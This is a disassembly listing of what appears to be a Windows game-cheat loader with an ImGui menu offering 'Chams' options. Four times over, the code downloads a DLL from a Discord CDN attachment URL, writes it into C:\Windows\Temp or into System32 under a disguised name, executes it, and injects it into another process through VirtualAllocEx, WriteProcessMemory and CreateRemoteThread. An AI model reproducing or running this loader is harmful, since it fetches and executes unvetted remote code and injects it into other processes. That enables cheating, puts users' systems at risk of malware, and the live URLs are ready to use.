movups xmmword [rbp - 0x38], xmm0
call fcn.14011b630
mov r8d, 0xb9
mov qword [rbp - 0x38], rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1220086885620383775_1229764051593334794_Chamsmenu.dll_ex6630de05is661e6905hm6ae354ed259ffd78e2b7d5d57abbdef3c7b7b133874a8a8a238619fe56e0fbe6
mov qword [rbp - 0x28], 0xb9
mov rcx, rax
mov qword [rbp - 0x20], 0xbf
mov rbx, rax
call fcn.140039070
lea rcx, [rsp + 0x68]
mov byte [rbx + 0xb9], 0
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14004aaf1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14004ac3b
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.User_Agent
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rcx, [rbp - 0x38]
mov rdi, rax
call fcn.140038f40
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14004abef
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa20]
call fcn.14004c2f0
mov rcx, qword [rbp + 0xa20]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0xa20]
add rcx, rdx
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14004abda
lea r9, [rbp + 4]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004abce
mov eax, dword [rbp + 4]
test eax, eax
je 0x14004abce
mov r8d, eax
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0xa20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 4]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14004ab92
lea rcx, [rbp + 0xa20]
call fcn.14004c2b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 0xa20]
call fcn.140044df0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14004ac3b
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov r8, rax
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400457d0
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
mov rdi, rax
lea r8d, [rdx + 0x1e]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, reloc.WLDAP32.dll_Ordinal_30
mov qword [rsp + 0x20], r15
mov rdx, rax
lea r8, str.C:WindowsTempChamsmenu.dll
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140158f90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], r15d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_30
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 0x190
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [rbp - 0x38]
call fcn.140038f50
lea rcx, [rsp + 0x68]
call fcn.140038f50
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x14004ad41
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x924], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x920], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x920]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x928], xmm0
movss dword [rbp + 0x92c], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x350], 0x3f800000
mov dword [rbp + 0x354], 0x3f800000
mov qword [rbp + 0x358], 0
mov qword [rbp + 0x360], 0
test eax, 0xff000000
je 0x14004aea6
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x14004ae1a
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x350]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x358]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x360]
call fcn.1400213a0
cmp rdi, rsi
je 0x14004aea6
cmp dword [rbx + 0x68], 0
jg 0x14004ae7b
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14004ae8e
mov rax, r15
jmp 0x14004ae97
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x368]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov dword [rbp + 0x368], 0x438c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0x36c], 0x42340000
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Chams_Blue
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a3e4]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x14004b1ca
lea rdx, str.C:WindowsSystem32windows1290123.dll
lea rcx, [rsp + 0x68]
call fcn.140038fb0
mov r9d, 4
mov dword [rbp + 0x4c], 0xc00
lea r8, [rbp + 0x4c]
xor ecx, ecx
lea edx, [r9 + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1199198938272645141_1200543835080642620_gcapi.dll_ex65fdef93is65eb7a93hmc2857f34c5907f86a95c83dcfc7d528e77dab6f5f840382c3c11b84f31f64fcd
lea rcx, [rbp - 0x38]
call fcn.140038fb0
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14004afa4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14004b0ee
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.User_Agent
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rcx, [rbp - 0x38]
mov rdi, rax
call fcn.140038f40
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14004b0a2
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa20]
call fcn.14004c2f0
mov rcx, qword [rbp + 0xa20]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0xa20]
add rcx, rdx
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14004b08d
lea r9, [rbp + 8]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004b081
mov eax, dword [rbp + 8]
test eax, eax
je 0x14004b081
mov r8d, eax
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0xa20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 8]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14004b045
lea rcx, [rbp + 0xa20]
call fcn.14004c2b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 0xa20]
call fcn.140044df0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14004b0ee
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov r8, rax
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400457d0
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
mov rdi, rax
lea r8d, [rdx + 0x27]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, Ordinal_41
mov qword [rsp + 0x20], r15
mov rdx, rax
lea r8, str.C:WindowsSystem32windows1290123.dll
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140158f90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], r15d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
mov r8d, Ordinal_41
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 0x190
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [rbp - 0x38]
call fcn.140038f50
lea rcx, [rsp + 0x68]
call fcn.140038f50
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x14004b1f4
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x934], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x930], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x930]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x938], xmm0
movss dword [rbp + 0x93c], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x370], 0x3f800000
mov dword [rbp + 0x374], 0x3f800000
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
test eax, 0xff000000
je 0x14004b359
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x14004b2cd
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x370]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x378]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x380]
call fcn.1400213a0
cmp rdi, rsi
je 0x14004b359
cmp dword [rbx + 0x68], 0
jg 0x14004b32e
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14004b341
mov rax, r15
jmp 0x14004b34a
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x388]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov dword [rbp + 0x388], 0x438c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0x38c], 0x42340000
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Chams_EspBox
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a3f4]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x14004b67d
lea rdx, str.C:WindowsSystem32windows2325.dll
lea rcx, [rsp + 0x68]
call fcn.140038fb0
mov r9d, 4
mov dword [rbp + 0x50], 0xc00
lea r8, [rbp + 0x50]
xor ecx, ecx
lea edx, [r9 + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1199198938272645141_1200545668826140722_ChamsBlueS3k.dll_ex65fdf148is65eb7c48hme62094b73898c28bf30b3e22723a206739672f09ee2d0c5e9acfc83b3189b9aa
lea rcx, [rbp - 0x38]
call fcn.140038fb0
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14004b457
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14004b5a1
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.User_Agent
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rcx, [rbp - 0x38]
mov rdi, rax
call fcn.140038f40
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14004b555
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa20]
call fcn.14004c2f0
mov rcx, qword [rbp + 0xa20]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0xa20]
add rcx, rdx
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14004b540
lea r9, [rbp + 0xc]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004b534
mov eax, dword [rbp + 0xc]
test eax, eax
je 0x14004b534
mov r8d, eax
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0xa20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0xc]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14004b4f8
lea rcx, [rbp + 0xa20]
call fcn.14004c2b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 0xa20]
call fcn.140044df0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14004b5a1
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov r8, rax
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400457d0
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
mov rdi, rax
lea r8d, [rdx + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, Ordinal_41
mov qword [rsp + 0x20], r15
mov rdx, rax
lea r8, str.C:WindowsSystem32windows2325.dll
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140158f90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], r15d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
mov r8d, Ordinal_41
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 0x190
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [rbp - 0x38]
call fcn.140038f50
lea rcx, [rsp + 0x68]
call fcn.140038f50
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x14004b6a7
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x8c], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x88], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x88]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x90], xmm0
movss dword [rbp + 0x94], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x390], 0x3f800000
mov dword [rbp + 0x394], 0x3f800000
mov qword [rbp + 0x398], 0
mov qword [rbp + 0x3a0], 0
test eax, 0xff000000
je 0x14004b80c
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x14004b780
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x390]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x398]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x3a0]
call fcn.1400213a0
cmp rdi, rsi
je 0x14004b80c
cmp dword [rbx + 0x68], 0
jg 0x14004b7e1
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14004b7f4
mov rax, r15
jmp 0x14004b7fd
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x18]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov dword [rbp + 0x18], 0x438c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0x1c], 0x42340000
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Chams_GlooWall
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a404]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x14004bb27
lea rdx, str.C:WindowsSystem32windows9989.dll
lea rcx, [rsp + 0x68]
call fcn.140038fb0
mov r9d, 4
mov dword [rbp - 0x48], 0xc00
lea r8, [rbp - 0x48]
xor ecx, ecx
lea edx, [r9 + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1199198938272645141_1212052853775143023_chamssenpaiv9.dll_ex65f9a9afis65e734afhm451d740f4cc851a5753060477940d20c90d1549398eb15957317145b82b54820
lea rcx, [rbp - 0x38]
call fcn.140038fb0
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14004b901
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14004ba4b
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.User_Agent
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rcx, [rbp - 0x38]
mov rdi, rax
call fcn.140038f40
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14004b9ff
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa20]
call fcn.14004c2f0
mov rcx, qword [rbp + 0xa20]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0xa20]
add rcx, rdx
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14004b9ea
lea r9, [rbp - 0x44]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004b9de
mov eax, dword [rbp - 0x44]
test eax, eax
je 0x14004b9de
mov r8d, eax
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0xa20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp - 0x44]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14004b9a2
lea rcx, [rbp + 0xa20]
call fcn.14004c2b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 0xa20]
call fcn.140044df0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14004ba4b
lea rcx, [rsp + 0x68]
call fcn.140038f40
mov r8, rax
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400457d0
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
mov rdi, rax
lea r8d, [rdx + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, Ordinal_41
mov qword [rsp + 0x20], r15
mov rdx, rax
lea r8, str.C:WindowsSystem32windows9989.dll
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140158f90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], r15d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
mov r8d, Ordinal_41
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 0x190
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [rbp - 0x38]
call fcn.140038f50
lea rcx, [rsp + 0x68]
call fcn.140038f50
mov esi, 1
mov ecx, esi
call fcn.140004630
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x20]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm1, xmm12
addss xmm0, xmm12
movss dword [rax + 0x100], xmm1
movss xmm1, dword [0x14017210c]
movss dword [rax + 0x104], xmm0
movss xmm0, dword [0x140172108]
movss dword [rbp + 0x20], xmm0
movss dword [rbp + 0x24], xmm1
call fcn.1400312b0
mov rax, qword [0x1401a4480]
mov ecx, dword [rax + 0x3f50]
test ecx, ecx
je 0x14004bc5d
cmp ecx, dword [rax + 0x478c]
jne 0x14004bc5d
mov rcx, qword [0x1401a44b0]
lea rdx, [0x1401a44c0]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x14017210c]
lea rcx, [rbp + 0x9d8]
cvttss2si esi, dword [0x140172108]
movaps xmm2, xmm10
call fcn.140012fb0
movd xmm0, dword [0x1401a44c4]
lea rcx, [rbp + 0x9d0]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm10
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140012fb0
mov r9d, esi
mov rcx, qword [0x1401a44b0]
mov r8d, ebx
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x1401a44c0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
mov esi, 1
call fcn.140011090
call fcn.14000ae70
mov rcx, qword [0x1401da168]
lea r8, [0x1401da150]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0xa10], xmm0
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1401da168]
lea r8, [rbp + 0xa10]
